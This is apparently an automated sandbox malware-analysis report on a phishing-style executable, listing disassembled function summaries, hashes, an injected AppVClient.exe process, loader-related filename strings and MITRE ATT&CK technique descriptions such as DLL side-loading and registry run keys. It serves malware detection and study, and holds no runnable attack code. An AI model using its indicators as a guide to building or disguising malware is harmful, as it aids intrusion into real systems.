RtlFreeHeap.NTDLL(00000000), ref: 001972D6
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?), ref: 001972DF
RtlFreeHeap.NTDLL(00000000), ref: 001972E6

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 249a3cfeb0c60692be4ddcc1950a17e6c68a26240e5c73bb2d68b5dce0716b17
Instruction ID: 2dc11430cf62fae46b62843a2ecafee2c6db177246e838e12910a79043f352c3
Opcode Fuzzy Hash: 249a3cfeb0c60692be4ddcc1950a17e6c68a26240e5c73bb2d68b5dce0716b17
Instruction Fuzzy Hash: 8CD0C932407120ABD7507FE0BC0DF863F28EF49313F410403F205824608AB448808B62

Function 00199CC0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 191COMMON

Download Yara Rule

APIs

Part of subcall function 0019DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000), ref: 0019DCE1
Part of subcall function 0019DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000,00000000), ref: 0019DCE8

Part of subcall function 0019A62F: wcschr.MSVCRT ref: 0019A635

Part of subcall function 0019C570: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0019C5BD
Part of subcall function 0019C570: RtlFreeHeap.NTDLL(00000000), ref: 0019C5C4
Part of subcall function 0019C570: _setjmp3.MSVCRT ref: 0019C630

_wcsupr.MSVCRT ref: 001AC21F

Part of subcall function 001A1A47: memset.MSVCRT ref: 001A1AE2
Part of subcall function 001A1A47: ??_V@YAXPAX@Z.MSVCRT(001A2229,?,001A2229,00000000,-00000105,?,00000000,00000000), ref: 001A1BA4

Strings

IF, xrefs: 001AC226
FOR, xrefs: 001AC25C

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Heap$Process$AllocFree_setjmp3_wcsuprmemsetwcschr
String ID: FOR$ IF
API String ID: 3818062306-2924197646
Opcode ID: 334d75aba30f8d4249ccd5a4e0911fb2f44a15d6ff21fb101b8424031f08523a
Instruction ID: 5cb5e20c4ff76117e7a3a482047cd45695ddcf13ab59ef5ff27d49fe2f097569
Opcode Fuzzy Hash: 334d75aba30f8d4249ccd5a4e0911fb2f44a15d6ff21fb101b8424031f08523a
Instruction Fuzzy Hash: AE5118257002029ADF257BBCC89177B22E6EFA1754F59402AE906CB295FB66DD42C3C0

Function 001BBED0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 183COMMON

Download Yara Rule

APIs

Part of subcall function 0019DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000), ref: 0019DCE1
Part of subcall function 0019DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000,00000000), ref: 0019DCE8

wcschr.MSVCRT ref: 001BBF88
memcpy.MSVCRT(00000000,?,001B9E02,001BCD80,00000030,001B448F,?,?,?,00000001), ref: 001BC008

Strings

&()[]{}^=;!%'+,`~, xrefs: 001BBF83

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Heap$AllocProcessmemcpywcschr
String ID: &()[]{}^=;!%'+,`~
API String ID: 3241892172-381716982
Opcode ID: ca5ac65fc4853b231074935ddcf02fe76f04b14d66849a1d5a681e198d7ecdce
Instruction ID: 5e08f1949f6daa215eb12927d4b38dc4166d80cb3f9be14518c26a5c3acd0934
Opcode Fuzzy Hash: ca5ac65fc4853b231074935ddcf02fe76f04b14d66849a1d5a681e198d7ecdce
Instruction Fuzzy Hash: 20614975E08215CBCF18DF68D890AFDBBF1FB58310B20452EE816E7A90D7B199418F94

Function 0019ABC0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 0019ABE3

Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BCA7
Part of subcall function 0019BC30: iswspace.MSVCRT ref: 0019BD1D
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD39
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD5D

Part of subcall function 0019CF10: _setjmp3.MSVCRT ref: 0019CF28
Part of subcall function 0019CF10: iswspace.MSVCRT ref: 0019CF6B
Part of subcall function 0019CF10: wcschr.MSVCRT ref: 0019CF8D
Part of subcall function 0019CF10: iswdigit.MSVCRT ref: 0019CFEE

Part of subcall function 0019DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000), ref: 0019DCE1
Part of subcall function 0019DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000,00000000), ref: 0019DCE8

longjmp.MSVCRT(001D0A30,00000001,00000000,00000000,00000002), ref: 001ACB58

Strings

REM/?, xrefs: 0019ABDC

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: wcschr$Heapiswspace$AllocProcess_setjmp3_wcsicmpiswdigitlongjmp
String ID: REM/?
API String ID: 49548326-4093888634
Opcode ID: ca60e496d30a9b073e85f9d730b22f69348a6e1b8c0d10f70b48dfd98afe1df5
Instruction ID: 6ec48f46b50e90d9eab6fe3f074df2e504d748281e0ab9f11557c32c0cbe5b10
Opcode Fuzzy Hash: ca60e496d30a9b073e85f9d730b22f69348a6e1b8c0d10f70b48dfd98afe1df5
Instruction Fuzzy Hash: A331F3327553059BDF24EB78A842B2A73A6EF80750F94442FF502CB6D1EBB1CC448396

Function 0019AD26 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0(00000000,00000104,?,00000000,00000000,?,?,0019B11F), ref: 001ACB8B
SetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0(00000000,00000000, - ,?,00000000,00000000,?), ref: 001ACC2D

Strings

- , xrefs: 001ACBF3

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ConsoleTitle
String ID: -
API String ID: 3358957663-3695764949
Opcode ID: 20dbd83617b55d72b2ffe99ae8a6f96bb7555e68647464a27d109a4dbe0c901d
Instruction ID: b53eab3254895a79f69aa58b5dd17e6c77489bd28f0421deddccee0562991c25
Opcode Fuzzy Hash: 20dbd83617b55d72b2ffe99ae8a6f96bb7555e68647464a27d109a4dbe0c901d
Instruction Fuzzy Hash: 742147356002009BCF19AB6CD895BBE7BE2EF80710F58442DE8064B694DB759D86C6D1

Function 001B8AA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 001B8AC9
printf.MSVCRT ref: 001B8B24

Strings

%3d, xrefs: 001B8AD6, 001B8AE0, 001B8B06

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@printf
String ID: %3d
API String ID: 2845598586-2138283368
Opcode ID: 25d33db2bdac185f99e2896b1ad2a2e7c51f7939c344367cd6c05e7009b4bb43
Instruction ID: e7d92ab6635e5ad2035bf4e07924ee14dbd4f62e6d018c9ef7552375168ff053
Opcode Fuzzy Hash: 25d33db2bdac185f99e2896b1ad2a2e7c51f7939c344367cd6c05e7009b4bb43
Instruction Fuzzy Hash: CB012871610204BBEB21AFA58C86FEB3AADDB95BA0F044015FB08A60C1D7B1DD90C671

Function 0019AB7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

iswspace.MSVCRT ref: 0019AB8D
wcschr.MSVCRT ref: 0019AB9E

Strings

=,;, xrefs: 0019AB99

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: iswspacewcschr
String ID: =,;
API String ID: 287713880-1539845467
Opcode ID: 19504e291b49b1178d133b898c054606fdc80d824fd5758e53d0f7587b004408
Instruction ID: 3e55bb6beb0bce16feae953feddfbd2c5390fa62c3d7f7486288757d3654cf60
Opcode Fuzzy Hash: 19504e291b49b1178d133b898c054606fdc80d824fd5758e53d0f7587b004408
Instruction Fuzzy Hash: 3AE04F33A06522AA8E34465DBC28977B3DB9FD7B6239A001BF806A3554E7608C4881D3

Analysis Process: AppVClient.exePID: 3556, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	98%
Signature Coverage:	0%
Total number of Nodes:	98
Total number of Limit Nodes:	10

Executed Functions

Function 00B852A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 00B853C4

Memory Dump Source

Source File: 00000011.00000002.1642667055.0000000000B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_b80000_AppVClient.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: bfbcfa76e8cd4bbe5457652ae9c580235a8a8ce69690a9e437a6f1ca008cc0cd
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: D74106A240DE958FD736762448A43B07BE0EB123E2F9D00E7D4C38B1F6E5984C81D72A

Function 00BA0080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 00BA03E0

Memory Dump Source

Source File: 00000011.00000002.1642667055.0000000000B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_b80000_AppVClient.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction ID: 208b6515a2ace54b791424190b98d35bc04cf792c69bee95e999594717fa5d46
Opcode Fuzzy Hash: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction Fuzzy Hash: A4D1263142CB0D8BCB28FF58C8857EAB7E1FBA6310F58469EE446C3164DA74DA4586C2

Function 00B88070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000011.00000002.1642667055.0000000000B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_b80000_AppVClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction ID: 9b64a698bc1afda0ce909035c23014b861c11e819293cc7255fc46a409a50714
Opcode Fuzzy Hash: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction Fuzzy Hash: 6061333060CA469FC7A5BF2898987367BE0FB59350FE802DAE446D31B1DF249C45D392

Function 00B8599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00B859D9

Memory Dump Source

Source File: 00000011.00000002.1642667055.0000000000B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_b80000_AppVClient.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: c4a8d9904ae8342a1423063b10073a91ee0fb095379de8fced6a8bee046ecf7e
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: 6901D67451DE84CFD67BBB1844C52B966D2F758320F2845D6D08AC70B2C9344D00D742

Function 00B88090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00B88186

Memory Dump Source

Source File: 00000011.00000002.1642667055.0000000000B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_b80000_AppVClient.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: a972257ab814c39894ddf35c994b17c9b0e67f4e9668196cfe58b32487f78c4c
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: B4C08C7412C802A7527A36482C4F0B52AD0C60E350BCC00C68C02A0230DD288E03C397

Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe	Binary or memory string: OriginalFilename vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1430067996.000000007F9E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1430067996.000000007F9E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1571228970.0000000021D3D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209AA000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209C2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209C2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1429814207.0000000002597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1561847890.0000000021D05000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1429580611.000000007FB90000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1585083858.0000000002596000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1561847890.0000000021D34000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1642838997.000000007FB6F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1429814207.0000000002593000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1634935767.0000000022065000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1585083858.0000000002592000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1571228970.0000000021CDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209E5000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209E5000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs PURCHASE REQUIRED DETAILS 000487958790903403.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1580684456.0000000000B45000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PURCHASE REQUIRED DETAILS 000487958790903403.exe

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Driver: Driver Load, File: File Creation, File: File Modification, Module: Module Load
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

